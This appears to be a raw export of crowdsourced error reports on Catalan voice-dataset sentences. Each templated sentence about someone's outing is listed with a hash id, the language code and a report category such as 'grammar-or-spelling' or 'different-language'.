postguerra i els ànims encara estaven una mica exaltats. efaf433401de9769b52baa61cc6a0cea7e8fbfb52ac7123872c0752d107cbe41 ca grammar-or-spelling Dissabte na Damià i na Vera volen anar a les Preses. f0adf67a99b3b9aef22a2b6b03046891b55f8c4e32fdbd1b32e3b2d10296e13c ca grammar-or-spelling El vint-i-nou de febrer en Magí i na Damià aniran a Vilanova i la Geltrú. f0f1175977056fe4d923417fe3d11d17ff9cbeb6159512e6c36a329fb516f4c6 ca grammar-or-spelling El deu d'agost na Damià i en Cesc iran a Fontanars dels Alforins. f0c3746a9dc6befbbdcccd3a70374bc19d1d0ca337f23092eaf99f14696f4d8b ca grammar-or-spelling Demà en Maria anirà al metge. f082105619e9878a62bbbf72671dce0317eda51456544a89b16f4dfb982795ce ca grammar-or-spelling Demà passat na Damià i na Dolça aniran a la Bisbal del Penedès. f06d494bd8eb84c356463d2d372c89d6785c5289d1bce8f9d3c3c7a4e0b2bfcc ca grammar-or-spelling Diumenge en Maria i en Roc aniran a Aranyel. f1cea5de17702f50578cdd2acffb9db0f61d68c6a277dde48594dcfa98422fe4 ca grammar-or-spelling Artificis d'addició una sèrie de onze lletres amb les deu anteriors. f408801590fe75eeef5c90e146b21a84e7e22f0b6737e125138e5779d758d8af ca grammar-or-spelling De les endevinalles la Flor.Català. f33a046c905c618b6ad872429888a9fc7d16034428f4a699fa74ef317796fea0 ca grammar-or-spelling Bonet quan aquests trepitjaven el Principat. f4fbe825e3ee0e4c31b0edadf351073c89afffc6fdce34d21d15294172034597 ca grammar-or-spelling Casanova bioquímic que el campió porta a la cua. f425cb3dddb2899278203135c82117792bf7b286b30ece80905e94a9501c4ffc ca grammar-or-spelling Demà en Maria i na Greta aniran a Torrelles de Llobregat. f419342bfc0703aed22efae5a859d6df816f04681fbee2f40ea5c8ebd3ba19d3 ca grammar-or-spelling Artificis d'addició una sèrie de onze lletres amb les deu anteriors. f408801590fe75eeef5c90e146b21a84e7e22f0b6737e125138e5779d758d8af ca grammar-or-spelling Dilluns na Damià i na Mireia aniran a Castell de Mur. f4f47f92793c76137f5d92e0e62179d7eb93600c352a5505e209cbab6b19f7a6 ca grammar-or-spelling Aprimar de la punta amb una ganivet d'escampar patè. f660c8386c515e1cb4163f89746735691dfb05659dba6a96d4b19a1892628f2d ca grammar-or-spelling Dilluns n'Eulàlia i na Txell iran a Corbera d'Ebre. eca8dc58f4971ccdf885a9d354e55b327962090127de7305b1b0f79229a2fdb5 ca grammar-or-spelling Dimecres na Lena irà al teatre. eef0647b48510f6ed351dec1750a74b2d74382e33a758e71db0a135303f87f7e ca grammar-or-spelling Demà passat en Xavi i na Duna iran a Gandesa. eecf73f82d75ea9daecc39452072f109101d5da6ff3249bbefaa1f532678c899 ca grammar-or-spelling El vint-i-nou de febrer en Pep i na Cira iran a Igualada. eef346ebe5678a2b2dad8b377b747c084d485752c05cc53b2e57e4a26fb8c70d ca grammar-or-spelling El nou d'octubre en Quel i na Mariona iran al metge. ee2ec0b308874a16fe41970615c2f5f6eb65823751e3950a1af490732dff5fbb ca grammar-or-spelling Dimecres en Sol i na Sibil·la iran a Garrigàs. eef9ac68745756d6195c28a56669ad84ff57cb68743a976f4b3924f46ffa6595 ca grammar-or-spelling Per Sant Jordi iran al metge. ef087cb2edde6857cc7f891f5fa9d41a8b69f51882dd6637c4b1d32c0c0f2801 ca grammar-or-spelling Demà passat en David irà al cinema. ee99c2fb41bd290a810b518e1f0feafa7102e2743757b54b619315a7b2bc3738 ca grammar-or-spelling Demà passat en David irà al cinema. ee99c2fb41bd290a810b518e1f0feafa7102e2743757b54b619315a7b2bc3738 ca different-language El vint-i-nou de febrer na Rosó i en Peris iran al teatre. ee7e4b0681882c033c33bcfc577513a9f304da4e2c5da80782ace5493b813118 ca grammar-or-spelling El vint-i-nou de febrer na Rosó i en Peris iran al teatre. ee7e4b0681882c033c33bcfc577513a9f304da4e2c5da80782ace5493b813118 ca different-language Per Sant Jordi en Julià irà a Bolulla. eebc446f22590f1b54b9298fd545b57236893af0d2b8812731adaa9d896401b0 ca grammar-or-spelling Per Sant Jordi en Julià irà a Bolulla. eebc446f22590f1b54b9298fd545b57236893af0d2b8812731adaa9d896401b0 ca different-language El vint-i-nou de febrer na Dúnia irà al teatre. ef01af5ea3897b5606229fd7f7a57bf425b11e2b5bfae5526e31c485fb027c86 ca grammar-or-spelling El vint-i-nou de febrer na Dúnia irà al teatre. ef01af5ea3897b5606229fd7f7a57bf425b11e2b5bfae5526e31c485fb027c86 ca different-language Dissabte na Martina irà al metge. ec9a743327781654b9da2944792225931ac33a950c57fa4d6f422faf5e134f8c ca grammar-or-spelling Dissabte na Martina irà al metge. ec9a743327781654b9da2944792225931ac33a950c57fa4d6f422faf5e134f8c ca different-language El vint-i-tres de maig en Miquel i na Laia iran a Agullana. eee44671b2f066c7183b233ef61fb0b66ef295534997f0353398b04fa572eb42 ca grammar-or-spelling El vint-i-tres de maig en Miquel i na Laia iran a Agullana. eee44671b2f066c7183b233ef61fb0b66ef295534997f0353398b04fa572eb42 ca different-language Per Sant Jordi en Josep irà a visitar mon oncle. ede5e6ba5084bbbbddcc584497a9dd7c882ba12c49afa51c5d2bd43d69a560ed ca grammar-or-spelling Per Sant Jordi en Josep irà a visitar mon oncle. ede5e6ba5084bbbbddcc584497a9dd7c882ba12c49afa51c5d2bd43d69a560ed ca different-language Demà passat en Rauric irà a Alfafara. eea744aee268a6088c9d167a1566da4f1f8fe48c82105a43ff5b83753e515442 ca grammar-or-spelling Demà passat en Rauric irà a Alfafara. eea744aee268a6088c9d167a1566da4f1f8fe48c82105a43ff5b83753e515442 ca different-language Dijous en Manel i na Duna iran a Mediona. eec5cdf4646961a088bc472322e9ed9e8f81d006593cffa28df6d333f474ad95 ca grammar-or-spelling Dijous en Manel i na Duna iran a Mediona. eec5cdf4646961a088bc472322e9ed9e8f81d006593cffa28df6d333f474ad95 ca different-language Per Cap d'Any en Mateu i na Rita iran al cinema. edc223c0d976337985aa9a339d7cd6c309bcd184f2ba44052df8818b26b80f93 ca grammar-or-spelling Per Cap d'Any en Mateu i na Rita iran al cinema. edc223c0d976337985aa9a339d7cd6c309bcd184f2ba44052df8818b26b80f93 ca different-language Dijous en Gerai i en Gerard iran a Cadaqués. f88b563a7ddeca9070cefa29e593ae4d318809f1ca537283ce5a1185a4ab36cf ca grammar-or-spelling Dijous en Gerai i en Gerard iran a Cadaqués. f88b563a7ddeca9070cefa29e593ae4d318809f1ca537283ce5a1185a4ab36cf ca different-language Dimecres na Júlia i na Carla iran a Camallera i Llampaies Saus. f7eb17919fafa0e2f51f6a3da2273ea727d355ad45766da6c87f4c05f3063e96 ca grammar-or-spelling Dimecres na Júlia i na Carla iran a Camallera i Llampaies Saus. f7eb17919fafa0e2f51f6a3da2273ea727d355ad45766da6c87f4c05f3063e96 ca different-language El vint-i-tres de maig na Farners i na Lis iran a Sanaüja. f7bc0335606c7fce7b51866e8976284105595e2c2c8932c2ad2369466b910218 ca grammar-or-spelling El vint-i-tres de maig na Farners i na Lis iran a Sanaüja. f7bc0335606c7fce7b51866e8976284105595e2c2c8932c2ad2369466b910218 ca different-language S'instal·li entre el brancatge, a la vora de la nacional dos. f85f2962b5fbd12fa17ac67d06ae93acad4440b2c24329f21d2c896fd8100416 ca grammar-or-spelling El nou d'octubre en Julià irà a Madremanya. f7c1173aab94fe3582d78dc560b97d27532019e564d68c3b816d06ef104a5669 ca grammar-or-spelling El nou d'octubre en Julià irà a Madremanya. f7c1173aab94fe3582d78dc560b97d27532019e564d68c3b816d06ef104a5669 ca different-language Dilluns en Miquel i en Magí iran al Morell. f893840bed01992d334c780d510ca93ceb5f90fab6625693adb96ee2b07405bc ca grammar-or-spelling Dilluns en Miquel i en Magí iran al Morell. f893840bed01992d334c780d510ca93ceb5f90fab6625693adb96ee2b07405bc ca different-language Demà en Guim irà a la biblioteca. f77686c3acf51f4268844f1d608f5de8b25a96d39de630c84b5928c71d5de169 ca grammar-or-spelling Demà en Guim irà a la biblioteca. f77686c3acf51f4268844f1d608f5de8b25a96d39de630c84b5928c71d5de169 ca different-language Divendres en Genís i na Blau iran a Montornès de Segarra. f6b259a0accccb6b885239f74162651ad95d5fcaf8177f3add502db57e312e76 ca grammar-or-spelling Divendres en Genís i na Blau iran a Montornès de Segarra. f6b259a0accccb6b885239f74162651ad95d5fcaf8177f3add502db57e312e76 ca different-language Diumenge en Martí i na Nura iran a Ferreries. f8834d1a50f79eb67b3bc0e0b4184b452bb4ac2a5aa9fa1013b01a4f88180e6e ca grammar-or-spelling Diumenge en Martí i na Nura iran a Ferreries. f8834d1a50f79eb67b3bc0e0b4184b452bb4ac2a5aa9fa1013b01a4f88180e6e ca different-language El nou d'octubre en Jordi irà a visitar mon oncle. f66a3a634c812ddfc23ec0f4f9e2a0429dfb4df6922f717ec6da10388d6e7166 ca grammar-or-spelling El nou d'octubre en Jordi irà a visitar mon oncle. f66a3a634c812ddfc23ec0f4f9e2a0429dfb4df6922f717ec6da10388d6e7166 ca different-language Per Sant Jordi en Sam i na Tura iran a Santa Fe del Penedès. f73854c865fd15513055d5ffe6e1ff0e6a759199216b193002900c40e8c2a1a8 ca grammar-or-spelling Per Sant Jordi en Sam i na Tura iran a Santa Fe del Penedès. f73854c865fd15513055d5ffe6e1ff0e6a759199216b193002900c40e8c2a1a8 ca different-language Divendres na Sol irà a Monistrol de Montserrat. f8bc007967315aa53bd323a91872ea4e839fc9dde6be1604b604548d336a48c7 ca grammar-or-spelling Divendres na Sol irà a Monistrol de Montserrat. f8bc007967315aa53bd323a91872ea4e839fc9dde6be1604b604548d336a48c7 ca different-language Dimarts na Cora i en Xavi iran a Aranyel. f898f611b7df34e5d319fd3cc8ebaa4de70d19032865342f68da13226aa6e8f5 ca grammar-or-spelling Dimarts na Cora i en Xavi iran a Aranyel. f898f611b7df34e5d319fd3cc8ebaa4de70d19032865342f68da13226aa6e8f5 ca different-language El deu d'agost en Nico irà a Calonge i Sant Antoni. f71dbc9e71421a25472bd6af797a3e0d6ae510d7327647ab262b9e1aae2b4957 ca grammar-or-spelling El deu d'agost en Nico irà a Calonge i Sant Antoni. f71dbc9e71421a25472bd6af797a3e0d6ae510d7327647ab262b9e1aae2b4957 ca different-language Per Sant Jordi na Beth i na Lia iran a la platja. f7ff9ddfdaa37255b5f30eeedb307bac4c72725c32589f903879da74443be4bf ca grammar-or-spelling Per Sant Jordi na Beth i na Lia iran a la platja. f7ff9ddfdaa37255b5f30eeedb307bac4c72725c32589f903879da74443be4bf ca different-language Per Sant Jordi n'Eulàlia irà a Barraques. f805407c8357c119f5a2feb45ef1192ca6d20edb7899273dd026d9482dcc92ab ca grammar-or-spelling Per Sant Jordi n'Eulàlia irà a Barraques. f805407c8357c119f5a2feb45ef1192ca6d20edb7899273dd026d9482dcc92ab ca different-language Dissabte na Nara irà a la biblioteca. f8545a7311d628574548e375d3be9e407be368055816a11c52395c64a0ea89f9 ca grammar-or-spelling Dissabte na Nara irà a la biblioteca. f8545a7311d628574548e375d3be9e407be368055816a11c52395c64a0ea89f9 ca different-language Per Sant Jordi en Magí i en Quim iran a Vilanant. f89568820ad8eca1ff0969c63d3774efabb2196f9d2bc9d717a3e457800c9532 ca grammar-or-spelling Per Sant Jordi en Magí i en Quim iran a Vilanant. f89568820ad8eca1ff0969c63d3774efabb2196f9d2bc9d717a3e457800c9532 ca different-language El deu d'agost en Mateu irà a les Masies de Roda. f86efa13282bda8e40825ed3394ddfcaddadd7b592c9afba984c4b075f35e368 ca grammar-or-spelling El deu d'agost en Mateu irà a les Masies de Roda. f86efa13282bda8e40825ed3394ddfcaddadd7b592c9afba984c4b075f35e368 ca different-language Dimecres na Clàudia i en Telm aniré al cinema. fb66fd138a8fa9880d43c1915f8ffbcb603590575c2f8038c1c2d93ae5d8cd4f ca grammar-or-spelling Demà passat en Lluc i en Pep iran a la platja. f8604fb193d0a31fabb67780e52a7e02612fbf54480b077bf3ff9a830bd51bc0 ca grammar-or-spelling Demà passat en Lluc i en Pep iran a la platja. f8604fb193d0a31fabb67780e52a7e02612fbf54480b077bf3ff9a830bd51bc0 ca different-language El vint-i-tres de maig en Quel i na Nit iran al teatre. f856075b6bf741070db20e65c6100cef01aa4d3f3dba3dbae51a65259ac2ef40 ca grammar-or-spelling El vint-i-tres de maig en Quel i na Nit iran al teatre. f856075b6bf741070db20e65c6100cef01aa4d3f3dba3dbae51a65259ac2ef40 ca different-language El deu d'agost na Gemma irà d'excursió. f653685b98f12c7638fff86262af1c26d400e3f9a30a61fa48dfb19640951707 ca grammar-or-spelling El deu d'agost na Gemma irà d'excursió. f653685b98f12c7638fff86262af1c26d400e3f9a30a61fa48dfb19640951707 ca different-language Demà passat en Quim irà a Vilalba dels Arcs. f7bead00d8a604f022b3cacee688d3ef54bfe73b0c8e19cf6c89ee61ce7f5b79 ca grammar-or-spelling Demà passat en Quim irà a Vilalba dels Arcs. f7bead00d8a604f022b3cacee688d3ef54bfe73b0c8e19cf6c89ee61ce7f5b79 ca different-language Dimarts en Guim irà a Palol de Revardit. f853c2196d1e6611267320a09494501943262224826185b245bac96d1925cdf7 ca grammar-or-spelling Dimarts en Guim irà a Palol de Revardit. f853c2196d1e6611267320a09494501943262224826185b245bac96d1925cdf7 ca different-language Demà passat mon pare irà al teatre. f72ff2003b5bc8c688640e7aba32c3577535a73ace87574dba3efa0f19d9fc6d ca grammar-or-spelling Demà passat mon pare irà al teatre. f72ff2003b5bc8c688640e7aba32c3577535a73ace87574dba3efa0f19d9fc6d ca different-language El nou d'octubre na Cloè i na Cora iran al Fondó dels Frares. f8599ee1fddd0661e4a7b8ad8519802170138bff8dc11c2d70c417ef32d55c82 ca grammar-or-spelling El nou d'octubre na Cloè i na Cora iran al Fondó dels Frares. f8599ee1fddd0661e4a7b8ad8519802170138bff8dc11c2d70c417ef32d55c82 ca different-language Dimecres na Farners irà a Setcases. f804b5adbb9798325db905277754aea532b7755bb49eeff14d921ec4dc30cf00 ca grammar-or-spelling Dimecres na Farners irà a Setcases. f804b5adbb9798325db905277754aea532b7755bb49eeff14d921ec4dc30cf00 ca different-language Dijous na Sibil·la irà a la platja. f89c922109c413fab544fe59968f63d44e87a7a1caf606feff38c39f169658d6 ca grammar-or-spelling Dijous na Sibil·la irà a la platja. f89c922109c413fab544fe59968f63d44e87a7a1caf606feff38c39f169658d6 ca different-language Demà passat na Cira i en Pep iran d'excursió. f5fa140ae70d5f751c37147b7c85774bf1060506e1aab7bd5214e90aa0551efd ca grammar-or-spelling Demà passat na Cira i en Pep iran d'excursió. f5fa140ae70d5f751c37147b7c85774bf1060506e1aab7bd5214e90aa0551efd ca different-language Diumenge na Núria i n'Hug iran a la platja. f77f235836f8d8d88873f63ddfedc5f03082c40c4ca3e5758ccc47522345d336 ca grammar-or-spelling Diumenge na Núria i n'Hug iran a la platja. f77f235836f8d8d88873f63ddfedc5f03082c40c4ca3e5758ccc47522345d336 ca different-language Divendres na Lis i en Joan iran a Pego. fbce53a69abfd17600e4d1f396ce0ff1bcbf01af6668f260dfad6af64c6e21fa ca grammar-or-spelling Divendres na Lis i en Joan iran a Pego. fbce53a69abfd17600e4d1f396ce0ff1bcbf01af6668f260dfad6af64c6e21fa ca different-language El deu d'agost na Cel i en Guim iran d'excursió. fdbf8bc868a7ef5c3ed7c4484d2d69d247a6174c3c251356db2873e2c869e20d ca grammar-or-spelling El deu d'agost na Cel i en Guim iran d'excursió. fdbf8bc868a7ef5c3ed7c4484d2d69d247a6174c3c251356db2873e2c869e20d ca different-language El vint-i-tres de maig iran al cinema. fc783f26ec1f052f9202bd5a2348dbf1a2f1556f68f4526aae6fbccb9525de52 ca grammar-or-spelling El vint-i-tres de maig iran al cinema. fc783f26ec1f052f9202bd5a2348dbf1a2f1556f68f4526aae6fbccb9525de52 ca different-language Demà passat na Queralt i na Sibil·la iran a Bellvei. fe064d34cbe8e865ca6f2ade740fe26d22ddc0047a98f0b0b53c59f2603b34a3 ca grammar-or-spelling Demà passat na Queralt i na Sibil·la iran a Bellvei. fe064d34cbe8e865ca6f2ade740fe26d22ddc0047a98f0b0b53c59f2603b34a3 ca different-language El vint-i-nou de febrer en Xavi i na Martina iran a Caldes de Montbui. fd0f109fab5e39234e8bc9739fa04ed878542c0e8e073887238c3d4361cc605e ca grammar-or-spelling El vint-i-nou de febrer en Xavi i na Martina iran a Caldes de Montbui. fd0f109fab5e39234e8bc9739fa04ed878542c0e8e073887238c3d4361cc605e ca different-language El vint-i-tres de maig na Martina i na Mira iran a Sant Julià de Vilatorta. fd7ce0f8bd618d76800d1038717d89e9b10fe4e199bae15c991c18ad2ea70a02 ca grammar-or-spelling El vint-i-tres de maig na Martina i na Mira iran a Sant Julià de Vilatorta. fd7ce0f8bd618d76800d1038717d89e9b10fe4e199bae15c991c18ad2ea70a02 ca different-language Per Cap d'Any en Nel irà a la biblioteca. fd3a2c358fd4b21c36c39c65fd2817ef28dc6a70076130aad714f661662a8212 ca grammar-or-spelling Per Cap d'Any en Nel irà a la biblioteca. fd3a2c358fd4b21c36c39c65fd2817ef28dc6a70076130aad714f661662a8212 ca different-language Per Cap d'Any en Martí irà a Alfondeguilla. fde066103559960ea095e6f3b7ad52d4d64425103749eb12897cbbf53b0c1a3d ca grammar-or-spelling Per Cap d'Any en Martí irà a Alfondeguilla. fde066103559960ea095e6f3b7ad52d4d64425103749eb12897cbbf53b0c1a3d ca different-language Dissabte en Mirt i na Nàdia iran a Rupià. fda18962efa2d04ff0f504f7d33c1ad3bde2c00c83a5f3a3e2a532b3c29fed3a ca grammar-or-spelling Dissabte en Mirt i na Nàdia iran a Rupià. fda18962efa2d04ff0f504f7d33c1ad3bde2c00c83a5f3a3e2a532b3c29fed3a ca different-language El vint-i-nou de febrer n'Hug i na Nora iran a Sant Joan. fe087209258e64014f52de6e2ffefb4524b4f8fa8f0edcb242de9a3cee995dbd ca grammar-or-spelling El vint-i-nou de febrer n'Hug i na Nora iran a Sant Joan. fe087209258e64014f52de6e2ffefb4524b4f8fa8f0edcb242de9a3cee995dbd ca different-language Dimarts en Jordi i na Clara iran a Arenys de Mar. fdfdc1cb585c5a6e05b5f8a91bea612c52172880636b0103d02bc72590365cb2 ca grammar-or-spelling Dimarts en Jordi i na Clara iran a Arenys de Mar. fdfdc1cb585c5a6e05b5f8a91bea612c52172880636b0103d02bc72590365cb2 ca different-language Dimarts en Martí irà a Flix. fd7b3c17bbfdc86fafc44d5a728ee9cba47378351a56071aa939048f3218e628 ca grammar-or-spelling Dimarts en Martí irà a Flix. fd7b3c17bbfdc86fafc44d5a728ee9cba47378351a56071aa939048f3218e628 ca different-language Dimarts en Martí irà a Flix. fd7b3c17bbfdc86fafc44d5a728ee9cba47378351a56071aa939048f3218e628 ca "irà" no es Català Diumenge n'Oriol i en Gerai iran a Barxeta. fc3b151f21f66fe27c19961dbae213d2cda067f7391a520498cf63c6c16187bd ca grammar-or-spelling Diumenge n'Oriol i en Gerai iran a Barxeta. fc3b151f21f66fe27c19961dbae213d2cda067f7391a520498cf63c6c16187bd ca different-language Diumenge n'Oriol i en Gerai iran a Barxeta. fc3b151f21f66fe27c19961dbae213d2cda067f7391a520498cf63c6c16187bd ca "iran" no es Català Demà passat en Sol irà a Altura. fdf0e75c124ca6572a5c2971cfe20ef7ea95fb475cfa12abc7618e9fd46c1a6b ca grammar-or-spelling Demà passat en Sol irà a Altura. fdf0e75c124ca6572a5c2971cfe20ef7ea95fb475cfa12abc7618e9fd46c1a6b ca different-language Demà passat en Sol irà a Altura. fdf0e75c124ca6572a5c2971cfe20ef7ea95fb475cfa12abc7618e9fd46c1a6b ca "irà" no es Català Demà passat na Sira i na Blau iran a Sant Miquel de Campmajor. fe2136cd9a2cdcd9f76ee5fce6ab73f420248bd45a0870a63a2f7b6276c616fa ca grammar-or-spelling Demà passat na Sira i na Blau iran a Sant Miquel de Campmajor. fe2136cd9a2cdcd9f76ee5fce6ab73f420248bd45a0870a63a2f7b6276c616fa ca different-language El deu d'agost na Sol i en Genís iran a Vallmoll. fdd0aea2f7e619eb67ae86859724bc34dce14cd508c0c9803dded7c2e7329fca ca grammar-or-spelling El deu d'agost na Sol i en Genís iran a Vallmoll. fdd0aea2f7e619eb67ae86859724bc34dce14cd508c0c9803dded7c2e7329fca ca different-language Demà passat na Dúnia i en Martí voldria anar al metge. fe74c4ebcbd0733b360936796d5d24f753827e359e0ad498c508b02c133c469d ca grammar-or-spelling Demà passat na Damià i en Genís van a Besalú. ff7d5cbfe5dc906c49ada1d4d06fc30b31f9cf57e25247e6581f52d48a7e9d29 ca grammar-or-spelling Demà passat na Dúnia i en Martí voldria anar al cinema. fe1c432cddf3a6ae36db240fde857ffedf827f0a1ac42c55bbc1c999047c5294 ca grammar-or-spelling Dimecres na Blanca irà a la platja. fcff4ee0bc1c0dc360d249ea7527719dc3e83426394cdd0dca53b9bf9e3db3d9 ca grammar-or-spelling Dimecres na Blanca irà a la platja. fcff4ee0bc1c0dc360d249ea7527719dc3e83426394cdd0dca53b9bf9e3db3d9 ca different-language Per Sant Jordi na Neida i en Guiu iran a Golmés. fe11b271238c023aaa9a7e41d3058de5ac105345d9aa37ad11bfba672329e85f ca grammar-or-spelling Per Sant Jordi na Neida i en Guiu iran a Golmés. fe11b271238c023aaa9a7e41d3058de5ac105345d9aa37ad11bfba672329e85f ca different-language Per Cap d'Any en Lluc i en Guifré iran a Cabanelles. fc70b829cae78341472314e7886740410060070a02389d1e6f87747d30692ab3 ca grammar-or-spelling Per Cap d'Any en Lluc i en Guifré iran a Cabanelles. fc70b829cae78341472314e7886740410060070a02389d1e6f87747d30692ab3 ca different-language Dilluns irà al metge. fbf97184db77921a3fb7d993060531740ae50203ee142a7d5486e892185269f9 ca grammar-or-spelling Dilluns irà al metge. fbf97184db77921a3fb7d993060531740ae50203ee142a7d5486e892185269f9 ca different-language Diumenge en Quel i en Quintí iran al metge. fcdb0ba4c211d0bf4d067d5a8b35094fd8ad0c4df6d5a73ff350a85d93877781 ca grammar-or-spelling Diumenge en Quel i en Quintí iran al metge. fcdb0ba4c211d0bf4d067d5a8b35094fd8ad0c4df6d5a73ff350a85d93877781 ca different-language Per Sant Jordi na Lena irà a la biblioteca. fe298888e779c97e1f5fc49b1b67cc931caf3139b6e2cd1e9f6ddb020071ad56 ca grammar-or-spelling Per Sant Jordi na Lena irà a la biblioteca. fe298888e779c97e1f5fc49b1b67cc931caf3139b6e2cd1e9f6ddb020071ad56 ca different-language Divendres en Roger i na Mariona iran a Rocafort. fdd70da6084916d09cfbc54f07ddd6629614dba72ee51ea59eccf1c7d4f52005 ca grammar-or-spelling Divendres en Roger i na Mariona iran a Rocafort. fdd70da6084916d09cfbc54f07ddd6629614dba72ee51ea59eccf1c7d4f52005 ca different-language El deu d'agost na Sança i en Guiu iran a Santa Maria del Camí. fd923e939093192f7d1ae93de8ba21a5e3c32930da35c27cf73e8de71c901634 ca grammar-or-spelling El deu d'agost na Sança i en Guiu iran a Santa Maria del Camí. fd923e939093192f7d1ae93de8ba21a5e3c32930da35c27cf73e8de71c901634 ca different-language El deu d'agost en Peris irà a Massoteres. fdeaad7e67a0f764caf869d7eb261143e5f318e72bc177395f31df500fce8206 ca grammar-or-spelling El deu d'agost en Peris irà a Massoteres. fdeaad7e67a0f764caf869d7eb261143e5f318e72bc177395f31df500fce8206 ca different-language Per Sant Jordi en Lluc irà a Altura. fdb87f15818fa7a35a6906d267c22b45dc272326f46ca2e5697d3348e4a9d487 ca grammar-or-spelling Per Sant Jordi en Lluc irà a Altura. fdb87f15818fa7a35a6906d267c22b45dc272326f46ca2e5697d3348e4a9d487 ca different-language Dimecres na Paula i na Carlota iran als Prats de Rei. fd4f4c67f0060402114a84fb3231109be148003293bdd2790aaf8ce306016e81 ca grammar-or-spelling Dimecres na Paula i na Carlota iran als Prats de Rei. fd4f4c67f0060402114a84fb3231109be148003293bdd2790aaf8ce306016e81 ca different-language Dissabte na Cira i na Marta iran a Xarafull. fd7546f42962573e64dafdef8429b1daf2f0b468055b874fa340050e518caff2 ca grammar-or-spelling Dissabte na Cira i na Marta iran a Xarafull. fd7546f42962573e64dafdef8429b1daf2f0b468055b874fa340050e518caff2 ca different-language El vint-i-tres de maig en Genís i en Josep iran al Vendrell. fe0896b5b3db7fdbe890f0fd44c43dc9e20d7e71bf56f5b3c5376a0ae6a0ba5e ca grammar-or-spelling El vint-i-tres de maig en Genís i en Josep iran al Vendrell. fe0896b5b3db7fdbe890f0fd44c43dc9e20d7e71bf56f5b3c5376a0ae6a0ba5e ca different-language Divendres en Gaël irà a Canet de Mar. fe3b26d58639f98c54cf747556491428e16d82d03552eb9ab3feeeeba143ed15 ca grammar-or-spelling Divendres en Gaël irà a Canet de Mar. fe3b26d58639f98c54cf747556491428e16d82d03552eb9ab3feeeeba143ed15 ca different-language Dijous na Mariona irà a Benicull de Xúquer. 075c7ee7ef51dde083d4c0dd0c9755d2cc9eab5e4006c2919c81c9e06384fa8f ca grammar-or-spelling Dijous na Mariona irà a Benicull de Xúquer. 075c7ee7ef51dde083d4c0dd0c9755d2cc9eab5e4006c2919c81c9e06384fa8f ca different-language El nou d'octubre na Cira i en Pep iran al teatre. 0633e32ea3a910f6c4336b762d0e8505aa822a336dbb16d33dee8e4b18728e27 ca grammar-or-spelling El nou d'octubre na Cira i en Pep iran al teatre. 0633e32ea3a910f6c4336b762d0e8505aa822a336dbb16d33dee8e4b18728e27 ca different-language El vint-i-nou de febrer na Maria i en Garbí iran a Ondara. 06edbd8b893e3636ef8abff411a74ad4f0bc2210aaaa4170b1ce51f8d3b5efc4 ca grammar-or-spelling El vint-i-nou de febrer na Maria i en Garbí iran a Ondara. 06edbd8b893e3636ef8abff411a74ad4f0bc2210aaaa4170b1ce51f8d3b5efc4 ca different-language Dimarts en Gerard irà a la Masó. 07304d1d5590d3f3d605ad648b206ce50d0a17dfff558bf1ef86951c41b1d45e ca grammar-or-spelling Dimarts en Gerard irà a la Masó. 07304d1d5590d3f3d605ad648b206ce50d0a17dfff558bf1ef86951c41b1d45e ca different-language Demà na Laia irà a la platja. 0739f71b9126de33a30bc2f2d8f9c5864ebd7c9e6f8ecdb800943f9b092c1cb7 ca grammar-or-spelling Demà na Laia irà a la platja. 0739f71b9126de33a30bc2f2d8f9c5864ebd7c9e6f8ecdb800943f9b092c1cb7 ca different-language Dissabte en Quer i na Cira iran d'excursió. 074da8ecc1128ad43b29ba1511296d5efe4639f9c472259c3143feb6a4d287a6 ca grammar-or-spelling Dissabte en Quer i na Cira iran d'excursió. 074da8ecc1128ad43b29ba1511296d5efe4639f9c472259c3143feb6a4d287a6 ca different-language Diumenge n'Hug i en Jordi iran al teatre. 0762054f9dfc897f9b97ffcdf317b6536c186156922f274c19743a9a51401490 ca grammar-or-spelling Diumenge n'Hug i en Jordi iran al teatre. 0762054f9dfc897f9b97ffcdf317b6536c186156922f274c19743a9a51401490 ca different-language Comença a tenir nocions de la figura geomètrica en la qual ha invertiot. 0602113e9c32ed38934fad8cc17b0891d4fa86a96e9b67ed01d6522d3e9768bb ca grammar-or-spelling Dimarts en Biel i en Nico iran a Camallera i Llampaies Saus. 06d2ec2a500457084294a16f1e3c05b19c24c4b680dd6539796fbdb1a44a84c5 ca grammar-or-spelling Dimarts en Biel i en Nico iran a Camallera i Llampaies Saus. 06d2ec2a500457084294a16f1e3c05b19c24c4b680dd6539796fbdb1a44a84c5 ca different-language Dissabte na Cel i en Guim iran a la platja. 0714cdd14db0f54e7d2f29f8757b3dae98648c34ed151b477c27e64d1e07a5af ca grammar-or-spelling Dissabte na Cel i en Guim iran a la platja. 0714cdd14db0f54e7d2f29f8757b3dae98648c34ed151b477c27e64d1e07a5af ca different-language Dimarts en Genís i en Bernat iran al metge. 06bfc203bd178407d0f7095893ef8718607961510951dbd6aa6f2b6978da5ee4 ca grammar-or-spelling Dimarts en Genís i en Bernat iran al metge. 06bfc203bd178407d0f7095893ef8718607961510951dbd6aa6f2b6978da5ee4 ca different-language El vint-i-nou de febrer na Frida i na Queralt iran al cinema. 073ab2f8d97968c520bc988954fb9f60ab9909fdb609a3cef1b07cbb392dc1b4 ca grammar-or-spelling El vint-i-nou de febrer na Frida i na Queralt iran al cinema. 073ab2f8d97968c520bc988954fb9f60ab9909fdb609a3cef1b07cbb392dc1b4 ca different-language Quevedo de petja a l'hora de fer mots maleta. 0cd51b907793c6f872f4729b974f7425112210dad0a3eae43c010fec6c33599c ca grammar-or-spelling Dilluns na Damià i en Juli iran a Avinyonet de Puigventós. 0fe0be0d18ee2bdbec0a6fabecb7e1eeff07945130130dbf220aac9cbc3f208d ca grammar-or-spelling Demà en Maria irà a Muro. 0fd38dbc4c7399f6e169c394e0d9465cbd335cb692de05d64641593414cec4b5 ca grammar-or-spelling Dimarts na Xènia i en Nil aniré al cinema. 110281f948b3713efdea820c69949ba8e395ff8f0855a1efe54254f0494314c6 ca grammar-or-spelling Alguns, molt pocs, deixaven veure els primers vestits fets a la. 1116423701e63c0b6b3e7444b13af18b7b1c9db7afa0b1a0cd9fbe447580a3ee ca grammar-or-spelling Divendres na Ramona i en Pep voldria anar a Gurb. 11165ccabc5fc90e3aca8aafa59465b69d970585eaa0634468aae899351b06ec ca grammar-or-spelling Demà en Maria vol anar al metge. 11ed278ff45a333cc71896a3d771db6a667069518a09ba4d88940593a42eebba ca grammar-or-spelling Arquimedes l'arribada de nous visitants desallotjarà els anteriors. 11d759029d5cccde10702d404c1438fefe034f731912e5c33da77fe8fda3fe74 ca grammar-or-spelling El nou d'octubre en Maria i na Mira van a Crespià. 11daea33ba23f9d9e137f5eb8556799a4320284bc08dda1044ad3f67988c22aa ca grammar-or-spelling Demà en Maria i en 